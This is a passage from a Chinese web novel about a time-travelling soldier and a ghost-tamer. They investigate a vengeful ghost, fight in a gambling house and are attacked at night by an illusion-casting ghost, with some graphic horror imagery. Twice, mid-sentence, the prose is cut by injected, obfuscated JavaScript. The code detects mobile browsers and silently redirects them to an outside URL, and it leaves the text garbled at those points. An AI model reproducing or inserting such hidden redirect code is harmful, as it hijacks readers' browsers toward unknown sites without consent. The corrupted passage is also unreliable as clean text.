薛戬看向他,“在我们那,年轻人都不太喜欢这些的。” “为何?”顾今安抬眸看他。 “因为是迷信,旧社会痼疾。” “怎么会是迷信?” “没有科学根据。” “‘科学’是什么?” “大概就是那啥,能系统化公式化的,能检验可预测的客观规律。” 顾今安懵了一瞬,“‘系统化’是什么?” “一个关联的整体?” 顾今安求知若渴,“‘公式化’又是什么?” “大概,有通用的格式,可以普遍适用的东西。” 顾今安眨了一下眼睛,“那‘客观规律’呢?” “不为人的意志所转移的客观存在的规律。”薛戬觉得自己要成AI自动回复了,还挺像那么回事的。 “‘客观’究竟是什么?客人吗?” “…是‘观察’的‘观’,不是‘客官’的‘官’。” “哦,我知道了,是‘少攻学问,有客观’的‘客观’,是吧?”(注2) “?什么……” * 两人到乌城已是日薄西山,晚霞落在远处的山峦上,秋山是三青与缃色未混匀的砚台,一簇一簇的青与黄交织不清,阴晴却在莽莽山间绘出分明的界限。 群山之间环抱着一座热闹的大城池。 乌城显然比日拂城更为繁华崭新,街道纵横,路面平整宽阔,木楼高低错落,飞檐斗拱,灰瓦白墙,商铺林立,酒肆瓦舍鳞次栉比。 人来人往,络绎不绝。此时正当饭点,叫卖声招徕声不绝于耳。 这座城的年轻人似乎比日拂城多,民风开放,薛戬看见好几个小姑娘盯着顾今安看了。 薛戬也跟着侧目看顾今安,从他的视角俯视,这人墨发衬得皮肤白皙,高挺的鼻连着俊秀的眉骨,骨相俊美,浓淡适宜的眉更添精致感,眼窝里睫毛纤长——那双温和明亮的俊目突然抬起来看向了他,“怎么了。” “我看有小姑娘盯着你,我就盯着你,有什么问题吗?”薛戬道。 顾今安:“……”这前言不搭后语再配上一句“有什么问题吗?”的强盗发言,到底哪一处不是问题? 街道上着实热闹,能明显感觉出此城与日拂城的差距,大城与小城的鸿沟。 薛戬大大方方地回视了一个盯着她的姑娘,刚想对她笑一笑展现人民特种兵的亲和力,她已经羞红了脸跑了。 二人寻了一家面铺解决晚饭。 薛戬面前的大碗面,骨汤熬制得雪白,面条看起来筋斗Q弹,面上撒着翠绿的葱花,让人食指大动。 他看向对面的顾今安,“你真不来一碗吗?” 顾今安从怀里摸出了上午掉地上又捡起来的烧饼,“我吃这个。” 薛戬:“……” 自己吃面,他吃沾了灰的饼,寒碜得薛戬觉得这碗面都不香了。 最后,在薛戬的强烈要求下,两个人准备扣扣搜搜地分食一碗面和那块没有掉到地上的饼。 同时,薛戬也知道了这人糟糕至极的消费观——本来挣得就不多,今天中午还非要带自己去吃一顿大餐把钱花没了,除去晚上住宿需要的钱,连多点一碗面的钱都没有了。 “笨死了。”薛戬总结。 顾今安:“……” * “你准备怎么查陈老太的事?”薛戬吃完了面,端着碗吹开浮油和葱段,喝了一大口骨汤,胃里又饱又暖。 顾今安啃着干烧饼也喝了一口分到自己碗里的面汤,“目前我们也不知道她是哪户人家的童养媳,得先弄清楚这个,再去这户人家了解情况——陈老太的儿子应该也能知道点什么。” “就这么办吧。”薛戬道。 然而他们问了老老少少不下十人,都未曾听闻“陈老太”、“陈婉”此人。 “很正常。她不是基本都在日拂城吗,这乌城没人听说她很正常。”薛戬道。 顾今安想来也合理,陈老太在乌城也是做的养在深闺的童养媳,不曾抛头露面的,所以无人知晓。 问人不行,找陈老太本鬼也不太现实——陈老太是厉鬼,用寻迹法器也无济于事。 “问人不行,就问事吧。问问城里有没有发生什么怪事,特别是这几天。”薛戬道。 10.不赌莫看不赢莫怒 “你问我城中怪事?没有吧。” 一个要收摊的男子一边整理着他的货物一边回答二人的问题。 “你再想想,特别是这几天,前几个月也算。”薛戬追问。 “这个……”男子用麻布盖住一筐子的胭粉奁,整理妥当,认真回忆起来,“上个月啊,倒是有个事儿,也大概就是这几日的事——有个人在赌坊暴毙而亡了,据说是什么心痹。不知道算不算得上你们所谓的‘怪事’。” 两人闻言一怔,暴毙的情况不正和多年前想纳陈婉的钟姓富商一样吗? “当时为这事儿那赌坊还被查封了数十日,前不久才刚解封,衙门的倒腾一大圈,最终还是以疾病暴毙结案了,也没个凶手。”男子惋惜道,“一个壮年小伙突地便没了,好生奇怪。人啊,别跟自己过不去,万一哪日就没了,阎王爷索命,这谁说得清楚……” 之前他们问了几个人,似乎就这事勉强和陈老太沾点边,也算是个突破口吧,是巧合还是真有关联可去一探究竟。 “请问是哪家赌坊?”顾今安问道。 “就那方直去不远,叫‘八方来财’,是城中最大的赌坊。”男子给他们指了一个方向。 “多谢了。” 男子趁火打劫,掀开自己刚盖好的货物,“二位公子给心上人买点胭脂粉吧。” “没有心上人,但是可以买。”顾今安觉得别人好歹提供了线索,可以照顾一下生意。 “买什么买,没钱了。”薛戬抓住他的胳膊肘阻止他掏钱,“要给心上人买胭脂也得先解决自己的温饱吧。” “……”顾今安抱歉地看向男子。确实买了之后他们晚上就只能露宿街头了。 “哼!”男子再次用麻布盖上货物,坐上他的小驴车,头也不回地走了。 * 这家赌坊确实大,两层独楼,立于繁华街区,飞檐斗拱,大大的门匾上写着龙飞凤舞的“八方来财”。 “来这里横竖不会白来的,”薛戬道,“你说陈老太会杀负心汉,赌场聚集的大多数人也是些背着家里人来赌博的,那陈老太的目标在这里的可能性很大,我们来逛一圈,了解个大概,后续也能顺藤摸瓜,查清陈老太的事。” 顾今安自是认同。 二人踏进了赌坊。 乌烟瘴气、蜩螗羹沸——这是薛戬对这里的第一印象。 偌大的堵坊只有一扇窗户,窗上蒙着陈年的旧油纸——发黄、带着污渍,天光透过这油纸照得大堂一片同样的昏黄颜色,有细尘在飞扬,又脏又阴沉。 一室充斥着汗臭、脚臭和说不明的恶心气味,用薛戬的话来说就是比训练结束后的宿舍更像炼狱。 而挤满大堂的赌徒们浑然不觉,摇博齿(注1)之声、拍桌子之响交杂成一片,上瘾的赌徒像狰狞恶鬼,挥舞着衣袖,畅叫扬疾,眼底的欲望露.骨,以小博大,置身贪婪的瑶天,幻想着三界群仙撞倒宝坛,鉴他“精诚”,予他馈赠。 二人靠边站着,在场内观望了一圈,所有人都在认真赌博,观察不出个所以然来,而且没人有闲工夫接受他们的提问。 他们更是寻不到老板掌柜,店小二也是支支吾吾讳莫如深,似乎并不想谈起影响他们生意的暴毙事件。 一时陷入僵局。 “来都来了,体验体验,我们光站在这里太可疑了。”正事没有进展,薛戬也正好挺好奇古代的赌博怎么玩的。 既然穿越到古代了,多了解了解满足一下好奇心也不是坏事,酒楼客栈他已经见过了,如果可以,还想见识一下青楼、瓦舍、墟市。可惜没有手机和相机来拍照留影。 ——某人心态好到离谱。 “体验?”顾今安没理解 “你玩过吗?”薛戬看着他挑眉。 “赌博吗?从未。” “来看看。”薛戬拽着他来到了空气最清新的一桌。 这家赌坊规模大,当下最盛行的玩摇骰子、推牌九和打叶子牌它都有,他们来的这桌,在摇骰子。 木桌上划分了揭蛊和押注的区域,庄家把三枚博齿摇得“当当”作响,赌徒像一群疯子把银两重重砸在桌子上,嘴里大喊着自己压的注:“大!!”“小!!”“大大!!”喊得唾沫横飞,好像谁声音大就是谁赌中似的。 薛戬看了会儿明白了所谓的“大小”,非常直白——三枚骰子点数之和为三到九为“小”,和为十到十八则为“大”。 他朝顾今安伸出手。 顾今安盯着他的手,“怎么?” “借我点钱,后面还你。”薛戬道。 “好。”顾今安开始掏钱,“只玩一次,浅尝辄止。” 薛戬寻思了一下,又按住了顾今安的手,“算了,万一输了,没钱住店了,就在旁边看着吧。” “第一次来?”一个女声在薛戬身后响起。 薛戬回头看去,说话的是一个长相甜美的姑娘,身着一袭鹅黄长裙,脖颈间围着雪白的兔毛围脖,肤白若雪,青丝及腰,一双杏目秋波婉转,似有笑意看着薛戬。 “是第一次来。”薛戬答道。 “公子可知‘不赌莫看’的道理?看了便赌上一赌。”姑娘伸出手来,这手一看便是不沾阳春水的细嫩,手心躺着一块银锭,“不如公子帮我押一局,输了算我的,赢了我们对半分?” “这哪有自己押来得有趣呢?”薛戬错开半步,示意那姑娘自己来押。 姑娘笑道,“我已经连输十局了,见公子正好想玩,而我手气欠佳不想自己押,公子帮我押上一局,岂不是两全其美?” 薛戬不知道这是不是古代赌坊的什么骗局,侧头看向顾今安,想询问他的意思。却发现后者正盯着他,似乎在好奇他会怎么决定。 薛戬:“……”忘了这人也是第一次来玩。 “好啊。”薛戬答应了,接过那姑娘手心的银锭,随手扔在了“大”上面。 随着庄家摇起花式骰子,旁边的赌徒又开始大喊大叫: “小!!” “大!!” “小小小!!” “大大大!!” 庄家开骰蛊之前还要买个关子,赌徒急得连连催促他。 骰盅一开——大! 哀嚎交织着欢呼,有人赢有人输,而快乐是一瞬的——赢的人叹自己押少了,要更多、更多…… 薛戬赢了。 “哟,手气不错。”姑娘称赞道。 顾今安也侧头看着。 庄家派彩,薛戬领了几块碎银,按照他们说好的,赢了对半分,于是薛戬空手套白狼,得了几块碎银。 姑娘笑意盈盈,递上一枚银锭,“要不再帮我押一局?” “那我怎么不押自己的?”一局的交易已经结束,薛戬有自己的本金了。 “真是过河拆桥。”姑娘笑骂,倒也没有真正恼怒,辞别二人转去了另一桌,似乎去找下一个帮她押注的目标了。 “还要赌吗?”顾今安问薛戬。 薛戬给他示意那几块碎银,“有人送了游戏资金,把这些玩了吧。” 薛戬又押了几次,都赢了,运气极好。 顾今安就在旁边认真看他玩。 薛戬感受了一下古代赌坊,觉得这玩意儿就和电玩城打电玩一样。 “你也来试试。”薛戬把手心的碎银递到顾今安面前。 顾今安推辞,“我就不用了,我运气不好。” 薛戬自己把碎银全部塞进他手里,“随便押一个。” 顾今安无奈地拿了一小块碎银丢在了“小”上。 “这么点怎么玩?”薛戬直接抓着他的手把那一把碎银都押上去了。 “诶!”顾今安人都懵了,看着那一小堆银两,心道可惜了,没眼看了。 骰盅一开——小! “好!” “啊?”赢了?顾今安愣了愣。 之后又一连三把,回回押中。 “这不运气还挺好的吗?”薛戬道。 顾今安也挺诧异。 “咚!”旁边那个一直输的臃肿中年男子一巴掌拍在桌子上,桌上堆起来的碎银碰撞着响,“他娘的!玩不下去了!” 他愤怒地打翻了桌上堆起来的银两,“叮叮当当”把银两撒得到处都是。 周围几个赌徒蜂拥过来捡钱,人潮耸动。 “真是死不悔改!”男子抬手恶狠狠推了顾今安一把,指着他的鼻子破口大骂:“忍你半天了!狗@娘养的御鬼师!就夹着尾巴蹲在桌子下面吧!祖坟都该被挖得稀巴烂,还在这里耀武扬威!还好意思赢我的钱!恬不知耻!害死那么多人不该偿命吗!?还来赢大家的血汗钱!下地狱吧!”声音极大,震得整个赌坊都静了一瞬。 顾今安还没做出反应,薛戬一条健硕的胳膊绕过他面前一把揪住了那个中年男子的衣襟,几乎要把他矮胖的身形囫囵个提起来,剑眉压低,那眼神像个凶神, “你他妈吃屎了吗?嘴这么臭!” 顾今安被他胳膊撞得后退了半步,被他喊得一愣,抬眸看向他。 薛戬这一爆呵,吓得捡钱的人赶紧抓了一把撤开了,男子也被他的气势唬住了,被揪紧的衣领勒得喘不过气来,涨红了一张肥脸,被迫仰视着薛戬,还在嘴硬,“我……我说错了吗!你们出老千!与鬼沆瀣一气,鬼肯定帮你们看骰子数了!不然怎得回回都押中!?谋财害命你们是一样不少做!” “输不起就别玩。”薛戬冷笑道。 “我输不起?!你知道我是谁吗!我输不起?”这话刺激得那男子破口大骂,“是你们出老千!净干下三滥的事!狗@娘养的御……” 他话没说完,薛戬把他提得更高了些,他的话头顿时被夹断,因为呼吸不畅,面色变得黑红,他瞪大了眼睛,脚尖踮起来努力够到地面,一手抓住薛戬的手腕,一手发疯似地挥舞着,“来……来人!打!” 他的护卫闻声方才回神,一拳朝着薛戬抡过来!破风声呼呼响在耳边,薛戬侧头躲开,同时甩开了男子的衣襟,胳膊横在顾今安胸前把他拦到自己身后。 护卫一拳扑了个空。 那男子跌坐在地,猛烈地咳嗽起来,咳得上起不接下气,直干呕,呵斥他的护卫,“刚才干嘛去了!干什么吃的!” 动静太大了,周围所有人交头接耳,有的人已经悄悄逃离这是非之地了。 男子坐在地上捂着脖子,一双肿泡眼怒视着二人,他抬手指向他们,指挥自己的两个护卫,“给我好好教训教训!我也算是为民除害!” “还是别打了。”顾今安劝架,可哪里有人听他的。对面的壮汉已经拔出明晃晃的刀直接砍了过来! 薛戬挑眉。直接动刀? 文明和谐惯了,一来就这么陡还真骇人。薛戬瞅准空荡,长腿一个后旋踢狠狠踹在壮汉胸口上!衣袍翻飞,哗哗直响。 “哐!”得一声巨响,那人被踹得直接倒退着猛然撞在身后的赌桌上,把桌上的叶子牌撒了一地! 真是太骇人了。薛戬再次感慨。 “啊啊!” “我的嘞个娘亲……” “走走!” “快走快走!” 赌坊里的人惊叫着朝门外拥了出去,场面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15027201|161473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 极度混乱。 薛戬职业病泛滥,甚至大声帮助疏散:“大家注意脚下,不要停留,别摔倒踩踏!” 顾今安:“……” “上啊!平时吃的饭是吃哪儿去了!给我打!”臃肿的男子在旁边叫嚷着。 另一个壮汉带刀扑了过来!薛戬敏捷侧身躲开他的刀,扯住他胳膊,同时转身用肩背膀一顶,那人被他的力道带得腾空翻起来,背部重重砸在桌子上!疼得他喉间瞬间溢出血腥味,结结实实吃了一记过肩摔,桌子也在巨响中四分五裂。 顾今安一边惊叹于薛戬的功夫,一边觉得事情好像有点闹大了,“薛……”他刚开口准备再次尝试劝架,一个骰蛊飞过来精准无误地砸到了他额头上。 “咚!”剧痛蔓延到整个头,他顿时眼前一黑,耳朵“嗡嗡”直响,扶住桌子才勉强站稳。陶瓷的器皿落到地上摔得粉碎。 扔他的是方才被薛戬踹到桌子上那人。 薛戬注意到了顾今安那边的动静,“草!你他妈倒是会选软柿子捏。”他上前一拳砸在那人头上,细尘在光里被劲风搅了个漩涡。 “咚!”那人应声倒地,晕了过去。 两个壮汉躺在地上挺尸,人跑完的大堂顿时安静了,连那个臃肿的中年男人也捂着脸坐在一旁不敢说话了,冷汗直流…… 薛戬没管那男人,走过来一手捏着顾今安大臂扶住他,“没事吧?” 顾今安方才的晕劲儿已经过了,紧紧捂着额头,朝薛戬摇了摇头,“无事。”——才怪,摇头都晕…… “就是他们!”赌坊管事儿带着一群手拿棍棒的大汉冲进了大堂把他们团团围住。 顾今安:“……” 最后,薛戬把方才自己赌博赢的银两都赔给了赌坊,这事儿才算是揭过了。 * 二人灰溜溜站在街边。 “严重吗?我看看。”薛戬对顾今安说着就已经抬手掰开了他捂着额头的手。 薛戬的手宽大灼热,顾今安觉得覆盖在自己手背上,竟有些烫人。 “只是额头红肿了,没有破皮流血,还好,拿冰……哎,没冰。”薛戬松开他的手,“别揉,会加重。” 顾今安想着,刚才只注意着薛戬那边,完全没有想到另一个人会偷袭他,避之不及,幸好情急之下他还是用「念」挡了几分,不然那个陶瓷骰蛊砸过来非死即残。 自己方才还觉得赌赢了还是有运气的,原来这才是结果啊。还是得倒霉。 “你呢?你的伤没事吧?”顾今安很担心薛戬的伤口因为方才的打斗又裂开了。 “没事。就是子弹伤太深扯着有点痛。”薛戬举起胳膊测试了一下,确实还有些痛。 “子弹?是那个金色长条的珠子吗?”顾今安比划着那玩意儿大概的形状。 “是吧。”薛戬看着顾今安,觉得这人还是挺厉害的,第一次见也能正确掏出来。 日薄西山,街上鳞次栉比的商铺已经陆陆续续收摊打烊了。人来人往,归意似箭,行色匆匆。 “结果在赌坊也没探查出个所以然来,还跟人打了一架。”薛戬道。 “原因在我,身份特殊,连累你了。”顾今安道。 薛戬看向他。这些人究竟是对御鬼师有多大的仇怨,多赢几局都要被针对。 难道御鬼师真的十恶不赦?可这人救了自己,而且相处下来不像坏人。那个胖子说的“害死那么多人”是什么意思? 看来,如果自己还要跟这位御鬼师同志同路一段时间,有必要找时间问问御鬼师到底发生了什么,也能对这些事情防备一下。 “别总把事往自己身上揽,探查走弯路常有的事,天不会塌的。”薛戬道,“要不今天先这样?找个地方睡觉吧。” * 他们在城中闲逛,废了一番周折才寻到一家愿意让他们下榻的客栈——一来是因为御鬼师身份,二来则是因为他们方才与之争执的胖子可能真的身份不一般。 这客栈看起来挺大,却又破又旧。 他们分到的房间刚开门就是一股霉臭扑面而来,屋内窄小,摆设简陋,就算熄灭了蜡烛也能借朦胧月光把房间内的情况看个七七八八。 薛戬都想背《陋室铭》了。 但这客栈破是破,却五脏俱全,薛戬如愿以偿泡了个热水澡。 别说,古代这桶泡澡还挺舒服。 “好些了吗?”两人沐浴完,薛戬拿湿抹布给顾今安敷了会儿额头。 “可能吧?”顾今安其实觉得没变化。 “明天长出个青头包来,然后过几天就消了。”薛戬把抹布搭在水盆边上。 “不如你的伤势严重——早些休息吧,明日再出去问问。”顾今安缩进被子里。 薛戬熄灭了案上的蜡烛,也躺在了地铺上,“这事到现在也没个头绪,保不准我们白来一趟,如果对陈婉生前事搞不清,你准备怎么办?” “如果实在没办法,我就试试直接对付她吧。”顾今安道。 “你不是说很危险吗?” “可以一试。”话是这么说了,但顾今安其实把握不大,因为陈婉真正怨恨的点还尚且不明了,这好歹是个厉鬼。 两人都没再说话了,各自在这间小小的散发霉臭的房间里酝酿睡意。 四周归静,夜色正浓。 有些奇怪。 薛戬睁开眼睛。 很不对劲儿。 他的目光在漆黑的客房里逡巡,目光扫过衣架,扫过窗户,扫过桌子,没有任何异样,但是—— 这个房间有第三个人的呼吸声。 11.魅鬼夜访美梦难求 房间里的第三个呼吸声很轻很轻,若非夜深人静恐怕无人会注意到。 呼—— 呼—— 夜色漆黑同那道陌生的呼吸声一齐弥漫在屋内的每个角落。 呼—— 呼—— 那呼吸声仍在平稳持续着。 薛戬屏息听着,不是自己的,不是顾今安的,也不是隔壁房间,就在他们屋内…… ——有第三个人在他们的房间里。 是谁? 要做什么? 薛戬没有出声叫醒顾今安,以免打草惊蛇,他在寻找声音的来源。 帘后…… 衣架旁…… 桌前…… 简陋的屋内没几样东西,都静立在夜色中。 呼—— 呼—— 那道呼吸声却越来越清晰。 薛戬把目光投向自己身侧的床底。 床上垂下来的床单遮住了床底大半景象,只露出一线漆黑,他伸手掖住被单一点点掀上去…… 随着他的动作,那道呼吸声越来越明显。 他一把掀开床单。 ——没人。 床下地板上空空如也。 那还能藏在哪里? 薛戬刚要放下被单,却觉得有些不对劲儿,这里的呼吸声分明更清晰了。 他抬眸一看,对上了一双瞪大的眼睛! 有人竟趴在床底板上! 那人背贴着床板,面朝地面,竟没有落下来,它歪着脸看着薛戬这边,苍白的脸在幽暗的夜色里分外明显,注意到薛戬发现了自己,他裂开了一个笑。 草! 薛戬心头一跳,一脚准备踹过去! 那人却已经消失不见了。 “顾怀!”薛戬叫着顾今安,迅速站起身来,“屋里有……” 然而当他看向床上时,方才还背对着他睡觉的顾今安已经不见了踪影,床上除了枕头和凌乱的被褥空空如也。 不会是被刚才那个脏东西藏起来了吧? 薛戬低骂一声,蹬上鞋子,抓起外衣披上,“顾怀!跑哪去了。” 没有人回应他,屋里翻遍了,连顾今安的影儿都没有。 那道呼吸声也随之消失了。 难道是那脏东西带着顾今安已经跑出去了? 薛戬急得想打电话。 该死,没有电话。 薛戬推开房门。 “嘎吱——” 开门声响在漆黑死寂的客栈里尤为刺耳。 门外的走廊幽深偪仄,每扇门都紧闭着。 薛戬目光所及并无任何人影。 “顾怀!”薛戬也顾不得什么打扰到别人了,在客栈内大声呼唤顾今安的名字。 然而这低沉的声音只激起了回音,走廊依旧静悄悄。 怎么一点没动静?更何况自己还喊这么大声,今天住进来的时候明明还有别的客人。 薛戬心头烦躁,“老板!服务员——小二!掌柜!有没有人啊!顾怀!” 周围太安静了。 薛戬沿着走廊大步朝通往大堂的楼梯走去。 “嗒嗒嗒——” “嘎吱嘎吱——” 每一步都踩得木板急促作响,在死寂陈旧的走廊里回荡。 “顾怀!”他还在试探地呼唤着。 不对劲儿,薛戬停下脚步。 空气里的血腥味太浓郁了。 他环顾四周,嗅着气味的来源。 气味来自前面一间屋子,门缝正在蔓延出血来,在昏暗的光线中呈现深黑的颜色,血量惊人,蔓延速度极快。 血腥味也愈加浓郁。 薛戬心头一跳,不会是顾今安…… 他也管不得那么多了,直接皮靴踩着血迅速走过去,一把推开了房门,扑面而来的血腥气直冲鼻腔,令人作呕。 屋内幽暗,月光惨白,待他凝眸看清屋内都是些什么东西的时候愣住了。 ——房梁上挂着数十个人头! 人头的头发被绳子捆住挂在房梁上,在薛戬打开门之后人头竟然一个个慢慢地转过来……数十双瞪大的眼睛一齐看向了他。 断裂的脖颈处还在向下滴血。 再一细看,地上遍是人体碎块! 断臂、断腿、蜿蜒的大小肠、破碎的肝肺、残半的心脏,数量惊人。 血液还在蔓延。 “这什么……”薛戬还没回神。 “哈哈哈哈哈……”一个低低的笑声蓦然响起,在充满诡异血色和夜色的客栈内响起,带着一串让人毛骨悚然的回声。 薛戬猛然回头朝笑声传来的角落看去,一道瘦高的人影一闪而过,跑进了大堂的后厨。 “谁?!”薛戬下意识去摸兜里的枪,摸了个空,才反应过来哪儿有枪,暗骂一声,他一手撑着楼梯扶手直接从二楼跃下,灵活落地,地上的灰尘被激起半人高。 他腿长个高跑得极快,追着那道身影去了,短短数息他便已经冲进了后厨,可是—— 没人。 这是一间宽敞的再寻常不过的厨房,橱柜、灶台立在夜色中,大桌上陈列着各类食材,菜刀躺在带血的菜板上。 一片死寂。 “出来!”薛戬呵斥着,反正刚才那人看见他了,他也不必藏着掖着。 方才那个房间的惨状和顾今安的失踪总有一个和这个人影有关。 他的目光在夜色中寻找着那人的藏匿之处。他瞥见角落里有道虚掩的后门,外面该是后院,能通街道。 不会是从那里跑出去了吧? 他刚朝着那门走出两步,那门便从外面被推开了,进来的人是——顾今安? 顾今安并未束发,长发披散,身着单衣,随意地披着外氅,和薛戬一样,一副刚从床上起来的装束。 他立在那里,面容清隽,像披了一层月光,莹润清透得像一块玉,衬得这后厨顿时寒碜得慌。 “你去哪儿了?” “终于找到你了。” ——二人几乎是同时开口的。 “先离开这。”顾今安抬手把那扇门推得大开,示意薛戬过去。 薛戬松了口气,人没事就好,朝他走去,“我还以为你被妖怪抓走了——还不能离开,有一个房间死了很多人得去看一下,得报警…报官,刚才还有个奇怪的人影,抓到……” 他话说了一半,便停在了橱柜旁边。 橱柜里……传出来了一个模糊的声音: “别跟他走。” 这道声音就像嘴被什么东西堵住时发出来的,说得含糊不清,但是薛戬听出来了——这分明是顾今安的声音! 顾今安在柜子里? “什么人影?”站在门口的顾今安问他。 哪个是真的?薛戬脑子一懵,几乎能听见自己的心跳声。 方才自己是追着一个古怪的人影进了厨房,门口那个顾今安进来的地方非常可疑,他说“终于找到你了”,可分明是他先消失,自己再找出来的,而且自己也不过是从房间走到了后厨,一个和自己住同一个屋、同一个起点的人会先找客栈外面,再从后院找进来吗? 当然并不能排除那个古怪人影钻进了这个橱柜里。 可是自己刚才说了“死了很多人”,门口的顾今安却毫不在意,只是问了“什么人影”,有点不对劲儿。 所以哪个是真的? 薛戬觉得自己魔怔了,稀里糊涂来这个世界,遇到一堆奇葩事,他现在居然诧异的不是有鬼能变成别人的样子,而是下意识开始思考哪个是真的。 他脑子里一瞬千念,就在这一瞬,柜子里的顾今安又在努力挣脱嘴上的束缚,模糊的声音急切劝阻他,“别信他,很危险,你快跑!别管我。” “怎么了?”门口的顾今安似乎察觉到了什么,朝他走来。 薛戬重重呼出一口气。 顾今安确实是在他发现床下那个鬼之后凭空消失了,那他大概率处境很危险。 橱柜里的顾今安应该是被捆着的,如果自己真的不管他走了、如果他是“真的顾今安”,那他就会很危险,不管怎样都得打开柜子看看。 “你怎么了?你看到什么了?”门口的顾今安已经离他很近了。 薛戬一把拉开了橱柜,他猛然对上了一张血肉模糊的脸! 柜子里的“人”身体畸形,双手双脚反折在身后,歪曲地蜷缩在柜子里。 这个恐怖的“人”见自己成功骗到了薛戬,裂开一张大嘴,瞪着没有眼皮的眼睛,癫狂地笑起来:“哈哈哈哈哈哈哈哈!!” 薛戬一惊,下意识想一把关上柜子,但他的身体像被定住了一样动弹不得。 他看不见的是,有一道瘦高的人影不知从何处而来,正在慢慢爬到他背上…… 橱柜里的“人”狰狞地笑着,一双没有眼皮圆睁的眼睛一眨不眨地看着薛戬,“咔咔”把反折的手臂归位,手朝他缓缓伸去…… 薛戬动弹不得眼睁睁看着那血淋淋的手靠近他。 一道蓝光在他身后猛然炸开!顾今安手头甩出一把巨大的蓝色长矛,快步冲过去,肩头的外氅落到地上,他抬手朝薛戬背上的瘦高人影捅去! 橱柜里的血人注意到了他的动作,伸出的手停下来,薛戬背上的瘦高人影也突然消失,蓝色长矛锋利的刀尖对准的是薛戬的后颈。 顾今安一怔,赶紧横过手头的矛,转过身形,背撞到薛戬背上。 没了瘦高人影作祟,薛戬恢复了行动力,他反应极快抬脚狠狠踹在了柜子里那张血肉模糊的脸上。本就单脚站立着,被身后的顾今安撞了个趔趄。 薛戬鞋底离开那张脸的时候,牵起一条条粘稠的血线。 顾今安手中的长矛幻化成一把三叉戟,绕过薛戬的手臂,给那个被踹得更加血淋淋的脸狠狠来了一叉子,洞穿它的头颅,血流如注。 它顿时不动了。 “快走。”顾今安松开三叉戟抓着薛戬的手腕把他往后拉。 那把三叉戟离开了顾今安的手便消散无踪。 顾今安带着他朝自己来时的后门走去。 门后是后院的景象,然而踏进去后却是在他们房间外的走廊上。 在回来的那一瞬间,薛戬似乎又听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035036|161473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见了身后那一声狰狞古怪的笑声:“哈哈哈哈哈!” 薛戬再回头看去时却没了那扇厨房后门。 客栈走廊一片幽暗,每扇客房门都紧闭着,一切都是正常的。 所以是原本就没走太远? “这怎么回事?”薛戬后知后觉有些发怵,感觉自己太阳穴都在跳……什么跟什么? 所以自己这是被鬼餍住了? 那顾今安是怎么出现找到自己的?还能进入人的脑子里? “你……”薛戬侧头刚想提问,就见身旁的顾今安脚下不稳,朝后面倒去。 “喂!”他伸手一把扯住顾今安的衣襟把他拉了过来,顾今安撞到他胸口上,脸煞白得像死人一样。 “你怎么了?”薛戬双手扶着他。 “死不了,头晕,缓一下,先回房。”顾今安的声音非常虚弱,撑着薛戬胸口起身准备走,却被薛戬揽住肩头压了回去。 “省省吧,站都站不稳了。”薛戬弯腰捞过他的腿弯把他打横抱起来。 这一下,顾今安感觉自己更晕了,晕得想吐,他一把死死揪住了薛戬的衣领,忍得整个人发抖,头枕在薛戬肩上半死不活。 “要勒死了!”薛戬被他扯得领口变形,抱着他快步回到房间内。 屋内亮着一盏蜡烛,应该是顾今安方才寻他时点亮的。 薛戬把他放到床上,顾今安也松开了手,薛戬的衣襟已经是一把盐菜了。 薛戬在床边坐下,“你好点了吗?” “头晕……”顾今安闭着双眼躺在床上一动不动。 房间里沉默了下来,烛影晃晃悠悠。 太安静了,顾今安艰难地睁开眼睛看向坐在自己床边的高大背影,“你没事吧?” 他见过不少人第一次经历这种事后要么疯要么哭,薛戬算是最淡定的那个。 “有事。刚才那是什么?”薛戬问道。 顾今安确认他没事(?薛戬:我好像说的是“有事”。)后重新闭上眼睛,“魅鬼。怨鬼的一种。” “什么鬼?” “魅鬼。” “什么鬼!” “……” 薛戬:“……”重点在于,那张皮肉翻飞血淋淋的脸到底“魅”在哪里?那副全身骨折扭曲的身型“魅”在哪里? 顾今安回答了他——“‘魅人心魄,惑人神魂,是为魅鬼’。” “为什么盯上我?”薛戬不理解,那套“不做亏心事,不怕鬼敲门”的理论怎么在这里不好使了? “不清楚。”顾今安难受地皱了一下眉,他现在依旧眩晕,进入被魅鬼惑住之人的神魂把人唤醒是一件极其耗费精力之事。 “那魅鬼还没死?他还会回来吗?”薛戬想起自己回来时听到的笑声。 “不知,按经验之谈是会的。魅鬼乃形态最为虚幻的一类怨鬼,穿梭于人神魂间难以捕获,方才那个并非它实体,洞穿它的头也无用。”顾今安道,“幻境罢了。” “所以我刚才经历都是假的?”薛戬问。包括他看到那数十个人头和满地人体碎块? “是。你方才所见皆是他为了恐吓你而制造的幻境。” 薛戬想着难怪自己方才说“死了很多人”,顾今安都不在意,因为是假的。 “这个魅鬼该是刚跟上你不久,还尚不了解你,故而制造的幻境很是简单直白。”顾今安道,“待到他了解你,他会知晓你内心真正所惧之物。” “他想干什么?”薛戬不理解,总不能是觉得吓人好玩? “他想击溃你的内心,让你魂魄不稳,趁虚而入,要么让你听命于他,为他所用,要么食你魂魄,夺舍你的身体。”顾今安道。 这可不是什么好事。薛戬问:“你有把握吃了他吗?” “……”顾今安感觉自己更晕了,毫无余力辩驳自己那不是“吃”,“我尽力……” 烛火下沉,形成凹坑被周围未融化的蜡挡住,屋里光线渐渐暗了几分。 